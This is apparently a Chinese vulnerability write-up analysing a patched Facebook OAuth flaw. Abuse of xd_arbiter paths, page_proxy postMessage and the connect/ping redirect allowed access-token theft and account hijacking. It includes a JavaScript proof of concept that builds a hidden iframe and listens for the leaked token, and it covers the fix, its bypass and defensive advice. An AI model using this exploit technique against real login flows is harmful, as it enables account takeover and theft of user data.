挖洞经验 | Facebook OAuth漏洞导致的Facebook账户劫持
字数 1433 2025-08-15 21:30:43
Facebook OAuth漏洞导致的账户劫持分析报告
漏洞概述
本报告详细分析了一个存在于Facebook OAuth实现中的高危漏洞,该漏洞允许攻击者窃取用户access token并劫持Facebook账户。漏洞存在于Facebook的"Login with Facebook"功能中,涉及OAuth 2.0协议实现缺陷,导致攻击者可以绕过多种安全措施获取用户令牌。
技术背景
OAuth 2.0协议
Facebook使用OAuth 2.0协议处理facebook.com与第三方网站之间的用户token验证。正确验证用户token后,用户才能从第三方网站跳转到facebook.com。
关键组件
- /connect/ping服务端:负责生成user_access令牌并跳转到白名单集"XD_Arbiter"
- XD_Arbiter:Facebook应用通用的白名单集
- page_proxy:跨域通信的代理框架(已删除)
漏洞细节
初始发现
- 可以修改"xd_arbiter.php?v=42"为"xd_arbiter/?v=42"
- 可通过添加目录或参数实现目录遍历
关键利用点
在Facebook的"page_proxy"中发现可利用代码:
var frameName = window.location.href.split("#")[1];
window.parent.postMessage(frameName,"*");
这段代码位于"EventListener"属性下,当请求条件判断失效时,会以postMessage()方式向任意域发送"frameName"消息。
漏洞利用流程
- 构造恶意SDK:
var app_id = '124024574287414', app_domain = 'www.instagram.com';
var exploit_url = 'https://www.facebook.com/connect/ping?client_id=' + app_id + '&redirect_uri=https%3A%2F%2Fstaticxx.facebook.com%2Fconnect%2Fxd_arbiter%2Fr%2F7SWBAvHenEn.js%3Fversion%3D44%23origin%3Dhttps%253A%252F%252F' + app_domain;
var i = document.createElement('iframe');
i.setAttribute('id', 'i');
i.setAttribute('style', 'display:none;');
i.setAttribute('src', exploit_url);
document.body.appendChild(i);
window.addEventListener('OAuth', function(FB) {
alert(FB.data.name);
}, !1);
-
部署恶意网站:将上述JS脚本部署在攻击者控制的网站
-
窃取token:当受害者访问恶意网站并使用Facebook登录时,攻击者可窃取其access_token
漏洞影响
- 账户劫持:攻击者可完全控制受害者Facebook账户
- 数据访问:可读写消息、照片、视频和隐私设置
- 广泛影响:影响大多数使用Facebook登录的APP(Instagram, Oculus, Netflix等)
修复措施
初始修复
- 废弃"/connect/ping"服务端
- 在XD_Arbiter文件中添加
__d("JSSDKConfig")代码
绕过分析
修复后仍存在以下问题:
__d("JSSDKConfig")被移到底部- postMessage()调用仍可执行
- Firefox浏览器不受防护措施影响
- mbasic.facbook.com下的HTTP 302跳转对所有浏览器有效
最终修复
- 禁止对xd_arbiter的任意修改,只接受"xd_arbiter.php"路径
- 禁用所有xd_arbiter上的HTTP跳转
- 删除page_proxy资源"7SWBAvHenEn.js"
- 在JS脚本资源中增加正则过滤验证
时间线
- 2019.12.23:初始漏洞修复
- 2020.1.3:发现修复措施可被绕过
- 后续:实施最终修复措施
防御建议
-
开发者:
- 严格验证重定向URL
- 实现完整的同源策略检查
- 避免使用全局postMessage通信
-
用户:
- 谨慎使用"使用Facebook登录"功能
- 避免点击不明链接
- 定期检查账户安全设置
-
企业:
- 实施严格的OAuth实现审查
- 定期进行安全审计
- 建立漏洞奖励计划
总结
该漏洞展示了OAuth实现中细微的设计缺陷可能导致严重的安全后果。通过精心构造的利用链,攻击者可绕过多层防护措施窃取用户令牌。此案例强调了安全防御需要全面考虑所有可能的攻击面,包括看似无害的重定向和跨域通信机制。